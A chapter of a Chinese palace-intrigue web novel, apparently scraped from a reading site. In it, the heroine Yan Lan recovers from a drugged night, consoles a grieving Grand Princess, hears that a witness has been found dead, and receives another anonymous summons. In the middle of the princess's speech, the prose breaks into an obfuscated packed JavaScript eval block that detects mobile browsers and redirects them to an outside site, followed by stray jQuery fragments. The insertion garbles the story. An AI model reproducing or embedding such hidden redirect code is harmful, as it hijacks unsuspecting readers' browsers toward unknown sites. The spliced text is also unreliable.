默认冷灰
24号文字
方正启体

36. 第三十六章

作者:木与青鱼本书字数:K更新时间:
    晨曦的光线落到燕览眼睑。


    她揉搓着眼皮,缓缓睁了开。身上的酸重感像骨头里灌满了铁浆,在意念驱使的那刻瞬间凝结,动一下就仿若皮肉分离一样难捱。意识和行动错节,直到她好不容易撑着自己,扶着额头,斜靠在床榻旁时,才想起来星点关于昨夜的事情。


    一屋子男人、谢游、浴房......


    她还做了什么?


    记忆有些模糊,片段般细碎又顺序错乱地一股脑浮现,燕览心乱如麻,理了好一阵,总觉得自己做了异常不妙的事情。


    她好像——拖着谢游陪她睡觉来着?


    她好像——主动吻了谢游来着?


    她好像——对谢游欲求不满来着?!!


    “疯了,都疯了......”燕览好不容易从床上爬起来,这下又失了力气,彻底往后倒去。


    直到门外响起叩门声,燕览才回神。


    “姑娘起了么?”是下人的声音,“该用早膳了。”


    燕览浅浅应了声,这才拖着步子一点点迈出房。外面的太阳光尤其热烈,滚烫地落在她身上,犹如照亮什么不可说的秘事一样,她总觉得不自在,外加心虚。


    她抬手,只从下人端着的盘子上一个拿走馒头,便挥挥手叫她走了。


    握着白白胖胖的馒头,燕览干瘪地吃起来,对昨夜尚还回忆不清楚的事情感到懊悔。长公主本是好心,却不知她这从不“开荤”的身板哪受得了合欢香和怪茶的双重熏陶,欲望过盛,身体都承受不住了。简言之,脑子烧坏了,干了许多平日里干不出的事。


    她狠狠咬了口馒头,啐了声。看着手中馒头,又忽得没了食欲,一下子将其扔到了一旁,窜出来几只野猫抢着。


    这一切的源头都是长公主的“好意”。


    她可得去回禀她,这种福气给她她可要不起。


    千万别有下次了,我的公主殿下!


    推开长公主的房门,里头仍是和昨夜一样浓郁的酒气,随着阴翳扑面而来,像猛兽一样将阳光下走进来的燕览扑倒了。她抬手在鼻前扇了扇,往绫罗绸缎堆砌的床榻边走去。那里隐隐有一道长长躺着的,婀娜如曳柳的人影,水红帷幕遮挡着脸部,看不出是醉是醒。乱锦堆成山,珠宝、银壶、水果糕点洒落在其上,像湖泊里星星点点的彩石头,却纷纷长满了腐败的苔藓。


    这场景燕览并不讶异。可这回奇怪的是,女人形单影只,手中似乎还握着陶土酒壶,周围无一个理应在场的男人陪伴。


    燕览缓缓挪步到床榻边。


    “嘭”一声,闷闷的。陶壶从女人纤长柔软的手中松落,在地上砸出一声厚响。陶壶圆圆胖胖,咕噜地滚落摇摆。


    燕览俯下身,替她捡起陶壶。她朝里看去,陶壶已经空了,里面只传来丝毫酒香。


    “昨夜开心么?”


    闻言,燕览看过去,这才发现长公主掀了掀眼皮,正对她说着。她声线气若游丝,燕览仔细一瞧,那双微微眯着的杏眼边缘,洇着一圈不易见的泪痕。再一看,长公主整个人陷在柔软饱满的床榻里,如同一根失去韧性的弹簧,毫无生气地摆在那,只伸着一只细腻如凝脂的手,搭在床缘。


    燕览顿了顿,欠身,“...多谢公主殿下厚礼。”


    犹豫了半晌,她最终没有继续开口道出她这次的来意。


    现在这副场景,总觉得不是时候。


    而后,长公主果然淡淡冷笑了声。笑中充斥嘲讽,眼神却飘忽,并非指对燕览。她缓缓收回手臂,动了动麻木的躯干,从废墟里撑起身子。那副骨头咯吱响,就好像要散架一样。


    她呆呆地坐在床缘,眉眼间满是荒芜。


    “公主,我扶你去沐浴吧。”燕览淡淡道。


    半晌,长公主才懒洋洋地抬了抬手,示意不必。她兀自站了起来,走入一堆不知名的混乱中。


    这里,仿佛经历过一场歇斯底里的“大战”,满地尽是...荒诞又戏谑的美。


    燕览不知所措,心里只想着——


    昨夜,宛平并不开心么?


    她记得她走时,长公主还像小孩一样冲着她撒娇似的,既给她喂好吃的,又给她安排大礼,饶有意味。可而今......


    遣散了整个宴会后,她又发生了什么?


    燕览不知道,只默默跟随在她身后。


    经年来,她很少,也很难,在宛平身上看到如今的“脆弱”二字。


    还是说乐极生悲?


    长公主从地上捡起一颗饱满圆润的泛粉珠子,捏在指尖摩挲,不知在想什么。半晌,她胸腔一震,传来一声冷笑,燕览看到她兀自走到梳妆台,将珠子放入了一个精美的匣子中,再一看,那眼角边的泪又晕了开。


    “...公主,可是发生何事?”燕览沉声,“燕览愿为公主殿下分忧。”


    长公主沉默了片刻。


    “阿览,”她并未回头,声音却带着哭腔,“你说,死了的人要是能复活,这世上是不是会少很多烦心事。”


    燕览蹙眉,迟疑道,“...公主何出此言?”


    长公主却只是嗤笑。徐徐,她回过身来,神道道地打量着燕览,却像不再掩饰脸上的伤怀。她就像悼念故人一样看着燕览,心中咀嚼着某种痛楚。


    燕览不堪打量,讪讪别开眼神,却只听见长公主喃喃:


    “你或许也是个好姐姐。”


    声音很微弱,根本不是说给燕览听。更像是那薄薄的胸腔根本再也盛放不下汹涌的悲情,而眼泪已干涸,能说出口的只有一句枯枝败叶一样的、令人不解的话。


    燕览回过神,“公主,你说什么?”


    “没什么。”长公主叹了口气,终于愿意将眼神从燕览身上挪开。


    她重新梳妆穿衣起来。仿若刚才的一切,是一场梦,或是一出戏。一语惊醒梦中人,执念还在,可幻想终究破灭。长公主回归正常,毫无情绪地问,“昨夜你同我说,此案还有疑点?是什么?”


    转换太快,燕览一时没反应过来。


    长公主的过去她从不过问。可待在宛平身边这么多年,她早知道她的过去不会是璀璨的,相反,那里遍布猩红。


    燕览还是飞快理了理思绪,答道:“回殿下,此案的确还疑点重重。”


    她细细道来,“袁崎下落不明,而曹大人也落得个不好的下场。被关押的马大人与宇文将军,似乎也并不慌乱。而首辅那边,看起来...动静不大。”


    长公主清了清嗓子,勉强也让思绪跟上进度。


    “你的意思是,此事并非全是首辅一人的手笔?或许,还有偶然?”长公主的声音很淡,多说两句,便能听出喉头的干燥沙哑。


    “是。”燕览沉声,“也许是偶然,也许也是...还有别有用心之人。”


    长公主轻轻掀开眼皮,揉了揉眉心,似乎倍感疲倦。


    “本宫今日无心去查,但你听着,此事若并不简单,你定要给本宫盯着。”


    “是。”


    话音刚落,外头就火急火燎进来个侍从。他扑通一声跪在地上,脸因奔跑而发红,喘着气作揖:


    “参见公主殿下,懒锦姑娘,有要事禀报。”


    “说。”长公主启唇。


    那侍从抬起头,“是那个叫袁崎的。他,他死了。”


    “死了?”燕览率先一步朝前,“死在哪儿了?”


    侍从也察觉事情不小,声线略颤,“乱,乱葬岗。”


    此话一出,房里短暂的一阵沉默。


    “退下吧。”


    “是。”


    侍从屏退,燕览却在这一间隙里理出了不对。


    “公主,若袁崎是被首辅所用,杀人灭口倒是说得通。更何况他上次背叛了首辅,首辅更要杀之以痛快。可我总觉得不对...”燕览分析着,“我见过此人,他为人精明,胆大心细,若是知道首辅此番有为难他的意图,他定然不会帮首辅做事的。”


    长公主思索了半晌,点了点头,“嗯。”


    “且,上次我派人去首辅府查过,袁崎并没有在那里的踪迹。”


    她早前就派墨羽留意着首辅那里,关于袁崎的动静。可不仅账本之事没有刺探道,袁崎死了这么大的事也并无苗头。这样看来,袁崎将账本交给曹京墨当呈堂证供的事情,很可能不是首辅所为——


    那他究竟是搭了谁的线,乘了谁的风,得了这渔翁之利呢?


    “一个废人,死了就死了。”长公主哑声,“难道他还能翻了天不成?生死与否,就算和陈山那家伙无关,也难逃其咎。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344014|178471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    毕竟他手里拿着账本,那可是极其关键的证据。”


    “...是。”


    燕览虽答,心思却飘到了别处去。


    以往困惑之时,她都要去一处地方验证点什么。


    ·


    醉春楼顶楼的穿堂风呼啸而过。


    这里总是寂寥无人,一眼便可俯瞰半个京城。身在其中,不免觉得孤寂混乱,只有站在高处,才能理清事情的全貌。


    天气开始入秋,夏日每每消散时总会带着一丝不甘,穿堂而过的风温度虽燥热,却刮得人摇摆。衣衫鼓动着,风灌进身体,凉凉的蚕丝贴身,滋润的凉感却在此刻显得瑟缩不已。


    燕览养成这个站在高处的习惯,是她刚来越京城时。那时的目的无关盘算与计谋,只登高望远,以解忧愁。


    总在那种最是粘稠发黑的深夜里,她登上璀璨的醉春楼,任凭楼下觥筹交错,顶楼这块狼藉之地却总悲凉彻骨,无人理会。她享受这种沉静与被遗忘,虽是深夜,只要能看到广阔的京城还有灯亮着,她便心安。即便只有一盏。


    她知道,那些深更还亮着的烛火,照亮的是与她一样的无家可归之人。


    那时她还不知道,万千灯火中,有谢游的一盏。


    ......


    思绪扯了回来。


    近年来再登醉春楼之顶,不为浇愁,只为谋划。风吹得她头脑更清醒,她来回踱步,将军饷案的脉络通通过了一遍。


    这件事里,究竟谁是那个最能坐收渔翁之利的人?


    真的是首辅么?


    还是说——有第三个人的存在?


    甚至——


    这个“第三人”,经年来一直存在于两派阵营之间?


    脑海里浮现一个名字。


    甚至那封莫名来信,难道也与此人有关?


    风刮得凛冽了些,黄昏落幕,燕览讪讪走下楼梯。在柜台要了一壶烧酒一盘菜,在大厅就坐了下来。


    未己,有人端来一壶酒和菜,一看去竟是掌柜白萝。


    她今日打扮得尤其特别,引人注目。浑身穿金戴银,脸上泛着更浓的红色,不知是胭脂用得更多,还是气色由内而外溢出,总之像人逢喜事精神爽。


    她兴冲冲地放下酒,还和燕览打了个招呼。


    “诶,这不是上回同我打听宁山寺的姑娘?”白萝干脆拉开板凳坐了下来,她挑眉,“怎么样,可找到你想找的地儿和人了?”


    燕览浅浅一笑,“多亏白掌柜。阴差阳错,也算找到了。”她没有多说。


    白萝也并不好奇,此番只是搭讪话术。她摆摆手一笑,“是嘛,那恭喜姑娘!哎呀,这人啊,是得有点念想,还真说不准,哪天就实现了!”


    燕览不知白萝何出此言,轻轻颔首,“的确。”


    出于礼貌,燕览也绞尽脑汁想着话题。往四周打量,似乎觉得少见了谁。再一想,是往日常跟在白萝后头的那个姑娘,如今没看到了。


    “白掌柜,往日总跟着你那个小姑娘呢?今日怎么没看到。”


    白萝脸上浮现喜色,“你说青霓啊!”


    她手头握着绢布,掩面笑了声,“青霓那小丫头,任她去外面混去了!早就不在我这了。”


    “原来如此。”


    白萝欲言又止,表情意味不明,却总挂着缕微笑。


    她随后笑补充道,“她呀,也好不容易实现些愿景了,留不住呀留不住——”她大张旗鼓地笑起来,明明话语是埋怨,语气却扬着快飞了。


    一番意味不明的话,燕览没有多问,白萝坐了坐也就摇摆着身子走了。


    燕览撑着脸,单手拆开酒壶上的酒封。


    忽然,一种不妙的感觉悬挂在心间,如同被什么东西咬了一下。


    鬼使神差的,燕览翻开酒封背面一瞧——


    是一张同样的,皱皱巴巴的纸条!


    同样的手法!


    而这次,燕览没有转身去问白萝,而是飞快拆开信条。


    只见上面写着:


    “明日申时,乾云街。


    一切疑问,皆可解答。”


    刚看清楚字条,忽得背后就传来一道幽幽的,无比熟悉的声线,如雷贯耳:


    “原来这就是你破案的法宝啊,阿览?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)